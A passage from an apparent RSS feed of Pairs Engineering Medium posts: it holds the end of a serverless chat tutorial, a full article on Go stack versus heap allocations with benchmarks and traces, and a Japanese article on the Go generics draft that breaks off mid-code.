$LATEST<br>{&quot;level&quot;:&quot;info&quot;,&quot;ts&quot;:1640177903.706682,&quot;caller&quot;:&quot;internal/logger.go:46&quot;,&quot;msg&quot;:&quot;request to $connect&quot;,&quot;requestId&quot;:&quot;KwIVeGxQNjMFRqQ=&quot;,&quot;connectionId&quot;:&quot;KwIVeduPtjMCEsw=&quot;}<br>{&quot;level&quot;:&quot;info&quot;,&quot;ts&quot;:1640177903.7439616,&quot;caller&quot;:&quot;internal/logger.go:46&quot;,&quot;msg&quot;:&quot;connect success&quot;,&quot;requestId&quot;:&quot;KwIVeGxQNjMFRqQ=&quot;,&quot;connectionId&quot;:&quot;KwIVeduPtjMCEsw=&quot;}<br>END RequestId: 11811c92-db49-4aa6-907b-88eb42b4bae9<br>REPORT RequestId: 11811c92-db49-4aa6-907b-88eb42b4bae9 Duration: 38.52 ms Billed Duration: 39 ms Memory Size: 1024 MB Max Memory Used: 40 MB</pre><h3>Cleaning Up</h3><p>To avoid incurring any unnecessary costs, let’s remove the stack now that we’re finished. Our serverless.yml file makes it easy to redeploy from scratch within a minute or two whenever we want.</p><p>Running sls remove should generate some terminal output, and eventually see a Stack delete finished... message. If you made it this far, then thanks for reading.</p><h3>Summary</h3><p>Serverless backends can greatly reduce provisioning overhead and running costs when designed appropriately for the right use cases. The dependency on multiple live AWS resources poses some development challenges, but I aimed to show that Serverless Framework, simple testing, and a few make commands can make the process quite straightforward.</p><p>In Part 2, we’ll complete the backend implementation, and look at the API Gateway WebSockets API spec in a little more detail.</p><h3>References</h3><ul><li><a href="https://github.com/aws-samples/apigateway-websockets-golang">https://github.com/aws-samples/apigateway-websockets-golang</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ceeb195bd2d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/building-a-real-time-serverless-chat-application-on-aws-with-go-and-vue-3-part-1-3ceeb195bd2d">Building a real-time serverless chat application on AWS with Go and Vue 3: Part 1</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Allocations in Go]]></title>
            <link>https://medium.com/eureka-engineering/understanding-allocations-in-go-stack-heap-memory-9a2631b5035d?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a2631b5035d</guid>
            <category><![CDATA[allocation]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[stack]]></category>
            <category><![CDATA[heap]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Fri, 18 Dec 2020 02:14:21 GMT</pubDate>
            <atom:updated>2023-09-01T07:06:38.089Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUN0BI9yOgAZFPASRrA1MQ.jpeg" /><figcaption>Cleaning up heap allocations in Go</figcaption></figure><p>This is the 18th article of the <a href="https://qiita.com/advent-calendar/2020/eureka">Eureka Advent Calendar 2020</a><strong>. </strong>Yesterday we had a post from<strong> </strong><a href="https://medium.com/u/b495d0183738">Jun Ernesto Okumura</a> on <a href="https://medium.com/eureka-engineering/spotify%E3%81%AE%E6%8E%A8%E8%96%A6%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%A8%E5%A4%9A%E6%A7%98%E6%80%A7%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-a44d00955406">diversity in Spotify’s recommender systems</a>.</p><h3>Introduction</h3><p>Thanks to efficient in-built memory management in the Go runtime, we’re generally able to prioritise correctness and maintainability in our programs without much consideration for the details of how allocations are occurring. From time to time though, we may discover performance bottlenecks in our code, and want to look a little deeper.</p><p>Anyone who’s run a benchmark with the -benchmem flag will have seen the allocs/op stat in output like the below. In this post we’ll look at what counts as an alloc and what we can do to influence this number.</p><pre>BenchmarkFunc-8  67836464  16.0 ns/op  8 B/op  1 allocs/op</pre><h3>The stack and heap we know and love</h3><p>To discuss the allocs/op stat in Go, we’re going to be interested in two areas of memory in our Go programs: <em>the stack</em> and <em>the heap</em>.</p><p>In many popular programming environments <em>the stack</em> usually refers to the call stack of a thread. A call stack is a LIFO stack data structure that stores arguments, local variables, and other data tracked as a thread executes functions. Each function call adds (pushes) a new frame to the stack, and each returning function removes (pops) from the stack.</p><p>We must be able to safely free the memory of the most recent stack frame when it’s popped. We therefore can’t store anything on the stack that later needs to be referenced elsewhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4_KKb6fEkINGsTwbcuk5w.png" /><figcaption>View of the call stack sometime after println has been called</figcaption></figure><p>Since threads are managed by the OS, the amount of memory available to a thread stack is typically fixed, e.g. a default of 8MB in many Linux environments. This means we also need to be mindful of how much data ends up on the stack, particularly in the case of deeply-nested recursive functions. If the stack pointer in the diagram above passes the stack guard, the program will crash with a stack overflow error.</p><p><em>The heap</em> is a more complex area of memory that has no relation to the data structure of the same name. We can use the heap on demand to store data needed in our program. Memory allocated here can’t simply be freed when a function returns, and needs to be carefully managed to avoid leaks and fragmentation. The heap will generally grow many times larger than any thread stack, and the bulk of any optimization efforts will be spent investigating heap use.</p><h3>The Go stack and heap</h3><p>Threads managed by the OS are completely abstracted away from us by the Go runtime, and we instead work with a new abstraction: goroutines. Goroutines are conceptually very similar to threads, but they exist within user space. This means the runtime, and not the OS, sets the rules of how stacks behave.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20Pk1_PXMWm_jMfPpCMfUg.png" /><figcaption>Threads abstracted out of existence</figcaption></figure><p>Rather than having hard limits set by the OS, goroutine stacks start with a small amount of memory (currently 2KB). Before each function call is executed, a check within the function prologue is executed to verify that a stack overflow won’t occur. In the below diagram, the convert() function can be executed within the limits of the current stack size (without SP overshooting stackguard0).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nP17BbLqFA3LpyLGPDatgg.png" /><figcaption>Close-up of a goroutine call stack</figcaption></figure><p>If this wasn’t the case, the runtime would copy the current stack to a new larger space of contiguous memory before executing convert(). This means that stacks in Go are dynamically sized, and can typically keep growing as long as there’s enough memory available to feed them.</p><p>The Go heap is again conceptually similar to the threaded model described above. All goroutines share a common heap and anything that can’t be stored on the stack will end up there. When a heap allocation occurs in a function being benchmarked, we’ll see the allocs/ops stat go up by one. It’s the job of the garbage collector to later free heap variables that are no longer referenced.</p><p>For a detailed explanation of how memory management is handled in Go, see <a href="https://medium.com/@ankur_anand/a-visual-guide-to-golang-memory-allocator-from-ground-up-e132258453ed">A visual guide to Go Memory Allocator from scratch</a>.</p><h3>How do we know when a variable is allocated to the heap?</h3><p>This question is answered in the <a href="https://golang.org/doc/faq#stack_or_heap">official FAQ</a>.</p><blockquote>Go compilers will allocate variables that are local to a function in that function’s stack frame. However, if the compiler cannot prove that the variable is not referenced after the function returns, then the compiler must allocate the variable on the garbage-collected heap to avoid dangling pointer errors. Also, if a local variable is very large, it might make more sense to store it on the heap rather than the stack.</blockquote><blockquote>If a variable has its address taken, that variable is a candidate for allocation on the heap. However, a basic escape analysis recognizes some cases when such variables will not live past the return from the function and can reside on the stack.</blockquote><p>Since compiler implementations change over time, <strong>there’s no way of knowing which variables will be allocated to the heap simply by reading Go code</strong>. It is, however, possible to view the results of the <em>escape analysis</em> mentioned above in output from the compiler. This can be achieved with the gcflags argument passed to go build. A full list of options can be viewed via go tool compile -help.</p><p>For escape analysis results, the -m option (print optimization decisions) can be used. Let’s test this with a simple program that creates two stack frames for functions main1 and stackIt.</p><pre>func main1() {<br>   _ = stackIt()<br>}<br>//go:noinline<br>func stackIt() int {<br>   y := 2<br>   return y * 2<br>}</pre><p>Since we can can’t discuss stack behaviour if the compiler removes our function calls, the noinline <a href="https://dave.cheney.net/2018/01/08/gos-hidden-pragmas">pragma</a> is used to prevent inlining when compiling the code. Let’s take a look at what the compiler has to say about its optimization decisions. The -l option is used to omit inlining decisions.</p><pre>$ go build -gcflags &#39;-m -l&#39;<br># github.com/Jimeux/go-samples/allocations</pre><p>Here we see that no decisions were made regarding escape analysis. In other words, variable y remained on the stack, and didn’t trigger any heap allocations. We can verify this with a benchmark.</p><pre>$ go test -bench . -benchmem<br>BenchmarkStackIt-8  680439016  1.52 ns/op  0 B/op  <strong>0 allocs/op</strong></pre><p>As expected, the allocs/op stat is 0. An important observation we can make from this result is that <strong>copying variables can allow us to keep them on the stack</strong> and avoid allocation to the heap. Let’s verify this by modifying the program to avoid copying with use of a pointer.</p><pre>func main2() {<br>   _ = stackIt2()<br>}<br>//go:noinline<br>func stackIt2() *int {<br>   y := 2<br>   res := y * 2<br>   return &amp;res<br>}</pre><p>Let’s see the compiler output.</p><pre>go build -gcflags &#39;-m -l&#39;<br># github.com/Jimeux/go-samples/allocations<br>./main.go:10:2: <strong>moved to heap: res</strong></pre><p>The compiler tells us it moved the pointer res to the heap, which triggers a heap allocation as verified in the benchmark below</p><pre>$ go test -bench . -benchmem<br>BenchmarkStackIt2-8  70922517  16.0 ns/op  8 B/op  <strong>1 allocs/op</strong></pre><p>So does this mean pointers are guaranteed to create allocations? Let’s modify the program again to this time pass a pointer down the stack.</p><pre>func main3() {<br>   y := 2<br>   _ = stackIt3(&amp;y) // pass y down the stack as a pointer<br>}<br><br>//go:noinline<br>func stackIt3(y *int) int {<br>   res := *y * 2<br>   return res<br>}</pre><p>Yet running the benchmark shows nothing was allocated to the heap.</p><pre>$ go test -bench . -benchmem<br>BenchmarkStackIt3-8  705347884  1.62 ns/op  0 B/op  <strong>0 allocs/op</strong></pre><p>The compiler output tells us this explicitly.</p><pre>$ go build -gcflags &#39;-m -l&#39;<br># github.com/Jimeux/go-samples/allocations<br>./main.go:10:14: <strong>y does not escape</strong></pre><p>Why do we get this seeming inconsistency? stackIt2 passes res <em>up the stack</em> to main, where y will be referenced <em>after</em> the stack frame of stackIt2 has already been freed. The compiler is therefore able to judge that y must be moved to the heap to remain alive. If it didn’t do this, y wouldn’t exist by the time it was referenced inmain.</p><p>stackIt3, on the other hand, passes y <em>down the stack</em>, and y isn’t referenced anywhere outside main3. The compiler is therefore able to judge that y can exist within the stack alone, and doesn’t need to be allocated to the heap. We won’t be able to produce a nil pointer in any circumstances by referencing y.</p><p><strong>A general rule we can infer from this is that sharing pointers up the stack results in allocations, whereas sharing points down the stack doesn’t.</strong> However, this is not guaranteed, so you’ll still need to verify with gcflags or benchmarks to be sure. What we can say for sure is that any attempt to reduce allocs/op will involve hunting out wayward pointers.</p><h3>Why do we care about heap allocations?</h3><p>We’ve learnt a little about what the alloc in allocs/op means, and how to verify if an allocation to the heap is triggered, but why should we care if this stat is non-zero in the first place? The benchmarks we’ve already done can begin to answer this question.</p><pre>BenchmarkStackIt-8   680439016  <strong>1.52 ns/op</strong>  0 B/op  0 allocs/op<br>BenchmarkStackIt2-8  70922517   <strong>16.0 ns/op</strong>  8 B/op  1 allocs/op<br>BenchmarkStackIt3-8  705347884  <strong>1.62 ns/op</strong>  0 B/op  0 allocs/op</pre><p>Despite the memory requirements of the variables involved being almost equal, the relative CPU overhead of BenchmarkStackIt2 is pronounced. We can get a little more insight by generating flame graphs of the CPU profiles of the stackIt and stackIt2 implementations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*czZGGPLuR-wsNt22Vf2PdQ.png" /><figcaption>stackIt CPU profile</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yj-4slhJ0L9lUxZG4gFxjQ.png" /><figcaption>stackIt2 CPU profile</figcaption></figure><p>stackIt has an unremarkable profile that runs predictably down the call stack to the stackIt function itself. stackIt2, on the other hand, is making heavy use of a large number of runtime functions that eat many additional CPU cycles. This demonstrates the complexity involved in allocating to the heap, and gives some initial insight into where those extra 10 or so nanoseconds per op are going.</p><h3>What about in the real world?</h3><p>Many aspects of performance don’t become apparent without production conditions. Your single function may run efficiently in microbenchmarks, but what impact does it have on your application as it serves thousands of concurrent users?</p><p>We’re not going to recreate an entire application in this post, but we will take a look at some more detailed performance diagnostics using the <a href="https://golang.org/cmd/trace/">trace tool</a>. Let’s begin by defining a (somewhat) big struct with nine fields.</p><pre>type BigStruct struct {<br>   A, B, C int<br>   D, E, F string<br>   G, H, I bool<br>}</pre><p>Now we’ll define two functions: CreateCopy, which copies BigStruct instances between stack frames, and CreatePointer, which shares BigStruct pointers up the stack, avoiding copying, but resulting in heap allocations.</p><pre>//go:noinline<br>func CreateCopy() BigStruct {<br>   return BigStruct{<br>      A: 123, B: 456, C: 789,<br>      D: &quot;ABC&quot;, E: &quot;DEF&quot;, F: &quot;HIJ&quot;,<br>      G: true, H: true, I: true,<br>   }<br>}<br>//go:noinline<br>func CreatePointer() *BigStruct {<br>   return &amp;BigStruct{<br>      A: 123, B: 456, C: 789,<br>      D: &quot;ABC&quot;, E: &quot;DEF&quot;, F: &quot;HIJ&quot;,<br>      G: true, H: true, I: true,<br>   }<br>}</pre><p>We can verify the explanation from above with the techniques used so far.</p><pre>$ go build -gcflags &#39;-m -l&#39;<br>./main.go:67:9: <strong>&amp;BigStruct literal escapes to heap</strong></pre><pre>$ go test -bench . -benchmem<br>BenchmarkCopyIt-8     211907048  5.20 ns/op  0 B/op   <strong>0 allocs/op</strong><br>BenchmarkPointerIt-8  20393278   52.6 ns/op  80 B/op  <strong>1 allocs/op</strong></pre><p>Here are the tests we’ll use for the trace tool. They each create 20,000,000 instances of BigStruct with their respective Create function.</p><pre>const creations = 20_000_000<br><br>func TestCopyIt(t *testing.T) {<br>   for i := 0; i &lt; creations; i++ {<br>      _ = CreateCopy()<br>   }<br>}<br><br>func TestPointerIt(t *testing.T) {<br>   for i := 0; i &lt; creations; i++ {<br>      _ = CreatePointer()<br>   }<br>}</pre><p>Next we’ll save the trace output for CreateCopy to file copy_trace.out, and open it with the trace tool in the browser.</p><pre>$ go test -run TestCopyIt -trace=copy_trace.out<br>PASS<br>ok   github.com/Jimeux/go-samples/allocations 0.281s</pre><pre>$ go tool trace copy_trace.out<br>Parsing trace...<br>Splitting trace...<br>Opening browser. Trace viewer is listening on http://127.0.0.1:57530</pre><p>Choosing View trace from the menu shows us the below, which is almost as unremarkable as our flame chart for the stackIt function. Only two of eight potential logical cores (Procs) are utilised, and goroutine G19 spends just about the entire time running our test loop — which is what we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NKzN-hax5TfP3PYsLzwozg.png" /><figcaption>Trace for 20,000,000 CreateCopy calls</figcaption></figure><p>Let’s generate the trace data for the CreatePointer code.</p><pre>$ go test -run TestPointerIt -trace=pointer_trace.out<br>PASS<br>ok   github.com/Jimeux/go-samples/allocations 2.224s</pre><pre>go tool trace pointer_trace.out<br>Parsing trace...<br>Splitting trace...<br>Opening browser. Trace viewer is listening on <a href="http://127.0.0.1:57784/">http://127.0.0.1:57784</a></pre><p>You may have already noticed the test took 2.224s compared to 0.281s for CreateCopy, and selecting View trace displays something much more colourful and busy this time. All logical cores were utilised and there appears to be a lot more heap action, threads, and goroutines than last time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_DwGUNYyWcNJ_OlCi48ctA.png" /><figcaption>Trace for 20,000,000 CreatePointer calls</figcaption></figure><p>If we zoom in to a millisecond or so span of the trace, we see many goroutines performing operations related to <a href="https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html">garbage collection</a>. The quote earlier from the FAQ used the phrase <strong><em>garbage-collected heap</em></strong> because it’s the job of the garbage collector to clean up anything on the heap that is no longer being referenced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TJdonaURcVKcWb4WeaP1Q.png" /><figcaption>Close-up of GC activity in the CreatePointer trace</figcaption></figure><p>Although Go’s garbage collector is increasingly efficient, the process doesn’t come for free. We can verify visually that the test code stopped completely at times in the above trace output. This wasn’t the case for CreateCopy, since all of our BigStruct instances remained on the stack, and the GC had very little to do.</p><p>Comparing the goroutine analysis from the two sets of trace data offers more insight into this. CreatePointer (bottom) spent over 15% of its execution time sweeping or pausing (GC) and scheduling goroutines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NaxhI4aXkyLh6ez9Nvqo3A.png" /><figcaption>Top-level goroutine analysis for CreateCopy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DR8vDjAy8RkJfHxf9XlH0g.png" /><figcaption>Top-level goroutine analysis for CreatePointer</figcaption></figure><p>A look at some of the stats available elsewhere in the trace data further illustrates the cost of heap allocation, with a stark difference in the number of goroutines generated, and almost 400 STW (stop the world) events for the CreatePointer test.</p><pre>+------------+------+---------+<br>|            | Copy | Pointer |<br>+------------+------+---------+<br>| Goroutines |   41 |  406965 |<br>| Heap       |   10 |  197549 |<br>| Threads    |   15 |   12943 |<br>| bgsweep    |    0 |  193094 |<br>| STW        |    0 |     397 |<br>+------------+------+---------+</pre><p>Do keep in mind though that the conditions of the CreateCopy test are very unrealistic in a typical program, despite the title of this section. It’s normal to see the GC using a consistent amount of CPU, and pointers are a feature of any real program. However, this together with the flame graph earlier gives us some insight into why we may want to track the allocs/op stat, and avoid unnecessary heap allocations when possible.</p><h3>Summary</h3><p>Hopefully this post gave some insight into the differences between the stack and heap in a Go program, the meaning of the allocs/op stat, and some of the ways in which we can investigate memory usage.</p><p>The correctness and maintainability of our code is usually going to take precedence over tricky techniques to reduce pointer usage and skirt GC activity. Everyone knows the line about premature optimization by now, and coding in Go is no different.</p><p>If, however, we do have strict performance requirements or otherwise identify a bottleneck in a program, the concepts and tools introduced here will hopefully be a useful starting point for making the necessary optimizations.</p><p>If you want to play around with the simple code examples in this post, check out the source and README on GitHub.</p><p><a href="https://github.com/Jimeux/go-samples/tree/master/allocations">Jimeux/go-samples</a></p><h3>References</h3><ul><li><a href="https://golang.org/doc/faq#stack_or_heap">Frequently Asked Questions (FAQ) | golang.org</a></li><li><a href="https://dave.cheney.net/2018/01/08/gos-hidden-pragmas">Go’s hidden #pragmas | </a><a href="https://dave.cheney.net/">dave.cheney.net</a></li><li><a href="https://golang.org/cmd/trace/">Command trace | golang.org</a></li><li><a href="https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html">Garbage Collection in Go Series | Arden Labs</a></li><li><a href="https://www.youtube.com/watch?v=ZMZpH4yT7M0">Understanding Allocations: the Stack and the Heap | YouTube</a></li></ul><p><em>Cover image by </em><a href="https://www.zikoko.com/life/12-toys-every-nigerian-boy-growing-up-in-the-90s-desperately-wanted/attachment/pile-of-lego-block-bricks-on-green-baseplate-royalty-free-image-1585754550/"><em>Hassan Yahaya</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a2631b5035d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/understanding-allocations-in-go-stack-heap-memory-9a2631b5035d">Understanding Allocations in Go</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[連結リストの実装でGo言語のジェネリクスのドラフトを触ってみる]]></title>
            <link>https://medium.com/eureka-engineering/golang-generics-design-draft-linked-list-4d1174e2355d?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d1174e2355d</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[data-structures]]></category>
            <category><![CDATA[generics]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Tue, 07 Jul 2020 02:41:46 GMT</pubDate>
            <atom:updated>2022-12-14T03:13:05.560Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Archived] 連結リストの実装でGo言語のジェネリクスのドラフトを触ってみる</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5yLJvSBBYy6NeFRp7E8HJQ.jpeg" /><figcaption>ジェネリクスの使いどころ（イメージ）</figcaption></figure><h3>この記事はアーカイブ済みです</h3><p>この記事はGo 1.18のリリース前に書かれたものです。Go 1.18以降のジェネリクスについて是非以下の記事を参照してください。</p><ul><li><a href="https://medium.com/eureka-engineering/abstracting-database-sql-boilerplate-with-go-generics-1471d969beed">Abstracting database/sql boilerplate with Go generics</a></li><li><a href="https://go.dev/doc/tutorial/generics">Tutorial: Getting started with generics - The Go Programming Language</a></li><li><a href="https://go.dev/blog/intro-generics">An Introduction To Generics - The Go Programming Language</a></li></ul><h3>はじめに</h3><p>Goの世界で最近話題になっているのが2020年6月12日に発表された<a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/go2draft-type-parameters.md">ジェネリクスのドラフト</a>です。仕様がやや固まってきただけでなく、<a href="https://go.googlesource.com/go/+/refs/heads/dev.go2go/README.go2go.md">go2go</a>で実際にコンパイルと実行することが可能になりました。<br>本記事では連結リストを実装しながらドラフトの仕様を見ていきます。全てのコードは<a href="https://github.com/Jimeux/go-samples/tree/master/generics-proposal">サンプルレポジトリ</a>にあります。</p><p><a href="https://github.com/Jimeux/go-samples/tree/master/generics-design-draft">Jimeux/go-samples</a></p><p><strong>2020/7/15 UPDATE</strong>: 型パラメータのシンタックスで()の代わりに[]が使用される可能性があります。近いうち<a href="https://go.googlesource.com/go/+/refs/heads/dev.go2go/README.go2go.md">go2go</a>が更新され、両方使えるようになります。詳しくは<a href="https://groups.google.com/u/1/g/golang-nuts/c/7t-Q2vt60J8?pli=1">Google Groups</a>まで。</p><p><strong>2020/8/21 UPDATE</strong>: []の使用が確定となりました。また、typeがなくなる代わりにConstraintが必須となります。Constraintがない場合はanyという新しい予約語を使います。詳しくは<a href="https://groups.google.com/u/1/g/golang-nuts/c/iAD0NBz3DYw">Google Groups</a>まで。</p><ul><li>(type T Constraint)→[T Constraint]</li><li>(type T)→[T any]</li></ul><p><strong>2020/10/9 UPDATE</strong>: 記事の内容を最新のシンタックスに更新しました。</p><p><strong>2021/2/11 UPDATE</strong>: ドラフトが正式に<a href="https://github.com/golang/go/issues/43651#issuecomment-776944155">承認されました</a>。</p><h3>ジェネリクスとは？</h3><p>ジェネリクス（正式には<a href="https://ja.wikipedia.org/wiki/%E3%83%9D%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%95%E3%82%A3%E3%82%BA%E3%83%A0#%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BF%E5%A4%9A%E7%9B%B8">パラメータ多相</a>）というのは型安全性を保ちながら様々な型に対応する汎用的な実装を可能にする手法です。コードの重複や実行時エラーを減らし、言語の表現力を高めることに繋がります。</p><p>Goの開発者は「シンプルさ」を大切にしているため、コミュニティの中にジェネリクスに対する懸念があります。ジェネリクスのWHYについてはThe Go Blogからの<a href="https://blog.golang.org/why-generics">Why Generics?</a>を参考にしてください。</p><h3>今回のドラフトについて</h3><p><a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/go2draft-type-parameters.md">Type Parameters - Draft Design</a></p><p>詳細は上記にありますが、要約すると以下の機能が提案されています。</p><ul><li>関数に型パラメータリストが定義できる： <strong>func</strong> F[T any](p T) { … }</li><li>どの型でも受け取る型パラメータを定義する時は、新しく導入される予約語anyを使う</li><li>型に型パラメータリストが定義できる： <strong>type</strong> M[T any] []T</li><li>各型パラメータに制限（Constraint）をインターフェイスで定義できる： <strong>func</strong> F[T Constraint](p T) { … }</li></ul><p>以下の機能は仕様に含まれません。</p><ul><li><a href="https://ja.wikipedia.org/wiki/%E5%85%B1%E5%A4%89%E6%80%A7%E3%81%A8%E5%8F%8D%E5%A4%89%E6%80%A7_(%E8%A8%88%E7%AE%97%E6%A9%9F%E7%A7%91%E5%AD%A6)">共変性（covariance）と反変性（contravariance）</a>が対応されない</li><li>メソッドに型パラメータが定義できない</li><li>可変長引数が対応されない</li><li><a href="https://qiita.com/poly_soft/items/1d7363b85b04e48a6e24">高カインド型</a>が対応されない</li></ul><h3>go2goのセットアップ</h3><p>go2goはドラフトのシンタックスを標準Goに変換するトランスパイラです。標準Goと同じようにローカルでソースからビルドもできますし、<a href="https://go2goplay.golang.org/">go2go Playground</a>でも利用できます。ローカルで試してみたい方は以下の手順でソースからビルドしておきましょう。</p><p><a href="https://go.googlesource.com/go/+/refs/heads/dev.go2go/README.go2go.md">dev.go2go branch</a></p><pre>// ディレクトリを作成<br>$ mkdir go2go<br>$ cd go2go<br>// ソースをクローン<br>$ git clone https://go.googlesource.com/go goroot<br>$ cd goroot<br>// 最新ブランチをチェックアウト<br>$ git fetch<br>$ git checkout dev.go2go<br>// ソースからビルド<br>$ cd src<br>$ ./make.bash</pre><p>実行するには*.go2ファイルを作成しgo2go配下のツールを利用します。</p><pre>// 環境変数をセット<br>$ export PATH=&quot;$HOME/go2go/goroot/bin:$PATH&quot;<br>// .go2拡張子でGoのソースファイルを作成する<br>vim main.go2<br>// 実行する<br>$ go tool go2go run main.go2</pre><h3>連結リストの実装</h3><h4>構造体の定義</h4><p>早速連結リストの実装に入りましょう。まずはどの型の値でも保持できる双方向ノードの構造体を定義します。<strong>型に制限がないため、</strong><strong>anyをConstraintに使います。</strong></p><pre><strong>type </strong>node[T any] <strong>struct </strong>{<br>   value T       // ジェネリックな値<br>   prev *node[T] // １つ前のnode<br>   next *node[T] // １つ後のnode<br>}</pre><p>構造体の名前の直後に<strong><em>型パラメータリスト</em></strong>を[]の中で定義します。型パラメータはフィールドやメソッドから参照できます。Tが具体的にどの型かはnodeを定義した時点では分かりません。nodeのインスタンスを生成する時に関数引数と同じように渡します。</p><p>型パラメータを複数定義する場合はコンマで区切ります。</p><pre><strong>type</strong> MultiParam[T any, U any] <strong>struct</strong> { … }</pre><p>関数引数の型と同じように、連続で同じ型がある場合は省略できます。</p><pre><strong>type</strong> MultiParam[T, U any] <strong>struct</strong> { … }</pre><p>nodeはエクスポートしないため、ラッパー構造体を定義します。</p><pre><strong>package</strong> list</pre><pre><strong>type </strong>List[T any] <strong>struct </strong>{<br>   head *node[T] // 最初のnode<br>   last *node[T] // 最後のnode<br>}<br><br><strong>func </strong>NewList[T any]() *List[T] {<br>   <strong>return </strong>&amp;List[T]{}<br>}</pre><p>Listの型パラメータリストはnodeと同じですが、NewListでは関数名と引数リストの真ん中に置きます。以下のように生成します。</p><pre>intList := list.NewList[int]()<br>stringList := list.NewList[string]()</pre><p>関数引数からTの具体型が明らな場合、<strong><em>型推論</em></strong>で型パラメータの渡しを省略できますが、NewListに引数がないため明示的に渡す必要があります。構造体を直接生成する時も関数引数がないため同様です。</p><pre>n := node{value: 1}      // 💀 コンパイルエラー<br>n := node[int]{value: 1} // ✅ コンパイルに成功</pre><h4>メソッドと関数の定義</h4><p>Listの末尾に要素を追加できるようにAddLastメソッドを実装します。</p><pre><strong>func </strong>(l *List[T]) AddLast(item T) {<br>   n := &amp;node[T]{value: item}<br><br>   <strong>if </strong>l.head == nil {<br>      l.head = n<br>      l.last = n<br>      <strong>return<br>   </strong>}<br><br>   l.last.next = n<br>   n.prev = l.last<br>   l.last = n<br>}</pre><p>*List[T]のようにレシーバ型に型パラメータリストをConstraintなしで追加し、引数リストや関数ボディから参照します。メソッドを更に追加してみましょう。</p><pre><strong>func </strong>(l *List[T]) AddFirst(item T) { … }<br><strong>func </strong>(l *List[T]) Print() { … }</pre><p>以下のように呼び出します。</p><pre>intList.AddFirst(66)<br>intList.AddFirst(65)<br>intList.AddLast(67)<br>intList.Print()    // [65, 66, 67]<br><br>stringList.AddFirst(&quot;B&quot;)<br>stringList.AddLast(&quot;C&quot;)<br>stringList.AddFirst(&quot;A&quot;)<br>stringList.Print() // [A, B, C]</pre><h4>FilterとMap</h4><p>モダンな言語にはよく出てくるMap、Filter、FlatMapなどもジェネリクスで型安全な実装が可能です。まずはFilterを定義します。</p><pre><strong>func </strong>(l *List[T]) Filter(pred <strong>func</strong>(T) bool) *List[T] {<br>   dest := NewList[T]()<br>   <strong>for </strong>n := l.head; n != nil; n = n.next {<br>      <strong>if </strong>pred(n.value) {<br>         dest.AddLast(n.value)<br>      }<br>   }<br>   <strong>return </strong>dest<br>}</pre><p><strong>func</strong>(T) boolのように第一級関数の引数リストからも型パラメータを参照でき、簡潔な実装になりました。以下のように呼び出します。</p><pre>filterIntList := intList.Filter(<strong>func</strong>(i int) bool {<br>   <strong>return </strong>i % 2 == 0<br>})<br>filterIntList.Print()    // [66]<br><br>filterStringList := stringList.Filter(<strong>func</strong>(s string) bool {<br>   <strong>return </strong>s &gt; &quot;A&quot;<br>})<br>filterStringList.Print() // [B, C]</pre><p>Mapの方はList[T]をList[U]に変換する関数なので、型パラメータが２つ必要になります。本来は以下のように定義したいのですが、ドラフトの仕様だと<strong>メソッドに型パラメータを定義できません</strong>。</p><pre>// 💀 コンパイルしない<strong><br>func </strong>(l *List[T]) Map[U any](fn <strong>func</strong>(T) U) *List[U] { … }</pre><p>代わりにトップレベル関数として定義しないといけません。</p><pre><strong>func </strong>Map[T, U any](l *List[T], fn <strong>func</strong>(T) U) *List[U] {<br>   dest := NewList[U]()<br>   <strong>for </strong>n := l.head; n != nil; n = n.next {<br>      value := fn(n.value)<br>      dest.AddLast(value)<br>   }<br>   <strong>return </strong>dest<br>}</pre><p>List[T]をインターフェイス化したい場合はハードルになりそうですが、このように呼び出せます。</p><pre>intToString := list.Map(intList, <strong>func</strong>(i int) string {<br>   <strong>return 